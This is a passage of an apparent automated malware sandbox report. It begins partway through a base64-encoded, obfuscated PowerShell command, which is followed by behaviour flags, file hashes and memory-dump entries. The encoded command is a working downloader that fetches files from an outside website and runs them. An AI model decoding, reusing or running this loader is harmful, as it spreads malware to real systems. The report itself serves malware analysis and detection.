AAJwArACcAXQBbACAAdwBlACcAKwAnACAAXQB3AHcAdwAuAHEAdQBhACcAKQArACgAJwBsAGkAdAAnACsAJwB5AG0AJwApACsAKAAnAGEAdABoAHQAJwArACcAdQB0AG8AJwApACsAKAAnAHIAcwAuACcAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAnAFsAIAB3AGUAIABdAHcAcAAnACkAKwAnAC0AYwAnACsAKAAnAG8AbgAnACsAJwB0AGUAbgB0AFsAJwArACcAIAB3AGUAIABdACcAKQArACgAJwBHACcAKwAnAGYARQAnACkAKwAnAFsAJwArACgAJwAgAHcAJwArACcAZQAgAF0AJwApACkALgAiAFIAZQBQAEwAQQBgAEMAZQAiACgAKAAoACcAWwAgAHcAZQAnACsAJwAgACcAKQArACcAXQAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAJwBmAHMAJwApAFsAMABdACkALgAiAHMAUABsAGAASQB0ACIAKAAkAFAAMgBwAHcAeABvADcAIAArACAAJABYAGwAbQBrADcAMwB3ACAAKwAgACQAUwAxAF8AOABfAGgANQApADsAJABFAHAAeQB3AHIANAA4AD0AKAAoACcASAAnACsAJwA2ADMAJwApACsAKAAnAGQAOQAnACsAJwBqACcAKQArACcANAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFYAcgB6AG0AeQBuAHgAIABpAG4AIAAkAFoAXwBkAGoAbwB2ADMAKQB7AHQAcgB5AHsAJABRAG8AZABoAGEAMQBzAC4AIgBkAGAATwBgAHcAbgBsAGAAbwBBAGQARgBpAEwAZQAiACgAJABWAHIAegBtAHkAbgB4ACwAIAAkAE0AcQB4AHkAdwBxADIAKQA7ACQASAB5AG0AXwBlAHEAeQA9ACgAJwBVACcAKwAnAHoAJwArACgAJwBjAGYAJwArACcAXwBqAHgAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQATQBxAHgAeQB3AHEAMgApAC4AIgBMAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADQAOQAzADkANgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAoACcAdwBpAG4AMwAnACsAJwAyACcAKQArACgAJwBfAFAAcgAnACsAJwBvACcAKQArACcAYwAnACsAJwBlACcAKwAnAHMAcwAnACkAKQAuACIAQwBgAFIARQBBAHQAZQAiACgAJABNAHEAeAB5AHcAcQAyACkAOwAkAEoAcwB5AGIAZAA5ADMAPQAoACcAQwAnACsAKAAnAGwAMwB3ADQAYwAnACsAJwByACcAKQApADsAYgByAGUAYQBrADsAJABUAHgAbQA3ADYAcQAyAD0AKAAoACcAUgAnACsAJwA1ADQAMgAnACkAKwAoACcAMgBtACcAKwAnAGIAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFUAcgB2ADIAZgBnAGcAPQAoACcATwAnACsAJwBmACcAKwAoACcAYgBlACcAKwAnADcAbgBhACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exeC:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rshx32\mmcbase.exe"C:\Windows\SysWOW64\rshx32\mmcbase.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exeMD5
aaf98889d5b90ab8d5c484cc674b34c9
SHA1fa552ebbe727ae1d8ff08726eb17527ccd034d66
SHA2568864b3f15b72835fcca2e9c5464443385c8b057b9a8f5fa5961975a70aae523c
SHA512c4b13aed32d799d5db16ff5fd36fe93df2cce6d40fb1886bb63599a7dbe94642cb21f0c75901b50f4430210e863cfa05bb3044a78c56efb3669e1ace68092bc2
-
C:\Users\Admin\Tr1uc6c\Ge5row1\Avfs1cem.exeMD5
aaf98889d5b90ab8d5c484cc674b34c9
SHA1fa552ebbe727ae1d8ff08726eb17527ccd034d66
SHA2568864b3f15b72835fcca2e9c5464443385c8b057b9a8f5fa5961975a70aae523c
SHA512c4b13aed32d799d5db16ff5fd36fe93df2cce6d40fb1886bb63599a7dbe94642cb21f0c75901b50f4430210e863cfa05bb3044a78c56efb3669e1ace68092bc2
-
C:\Windows\SysWOW64\rshx32\mmcbase.exeMD5
aaf98889d5b90ab8d5c484cc674b34c9
SHA1fa552ebbe727ae1d8ff08726eb17527ccd034d66
SHA2568864b3f15b72835fcca2e9c5464443385c8b057b9a8f5fa5961975a70aae523c
SHA512c4b13aed32d799d5db16ff5fd36fe93df2cce6d40fb1886bb63599a7dbe94642cb21f0c75901b50f4430210e863cfa05bb3044a78c56efb3669e1ace68092bc2
-
memory/456-18-0x000007FEF7020000-0x000007FEF729A000-memory.dmpFilesize
2.5MB
-
memory/756-12-0x0000000000390000-0x00000000003AE000-memory.dmpFilesize
120KB
-
memory/756-11-0x0000000000370000-0x0000000000390000-memory.dmpFilesize
128KB
-
memory/1036-2-0x000000000046C000-0x000000000046E000-memory.dmpFilesize
8KB
-
memory/1036-1-0x0000000006200000-0x0000000006204000-memory.dmpFilesize
16KB
-
memory/1036-0-0x000000000046B000-0x000000000046C000-memory.dmpFilesize
4KB
-
memory/1116-16-0x0000000000250000-0x0000000000270000-memory.dmpFilesize
128KB
-
memory/1116-17-0x0000000000270000-0x000000000028E000-memory.dmpFilesize
120KB
-
memory/1116-14-0x0000000000000000-mapping.dmp
-
memory/1600-4-0x0000000002400000-0x0000000002401000-memory.dmpFilesize
4KB
-
memory/1600-9-0x000000001C590000-0x000000001C591000-memory.dmpFilesize
4KB
-
memory/1600-8-0x000000001C0C0000-0x000000001C0C1000-memory.dmpFilesize
4KB
-
memory/1600-7-0x00000000024C0000-0x00000000024C1000-memory.dmpFilesize
4KB
-
memory/1600-6-0x000000001A8E0000-0x000000001A8E1000-memory.dmpFilesize
4KB
-
memory/1600-5-0x000000001AD20000-0x000000001AD21000-memory.dmpFilesize
4KB
-
memory/1600-3-0x000007FEF60F0000-0x000007FEF6ADC000-memory.dmpFilesize
9.9MB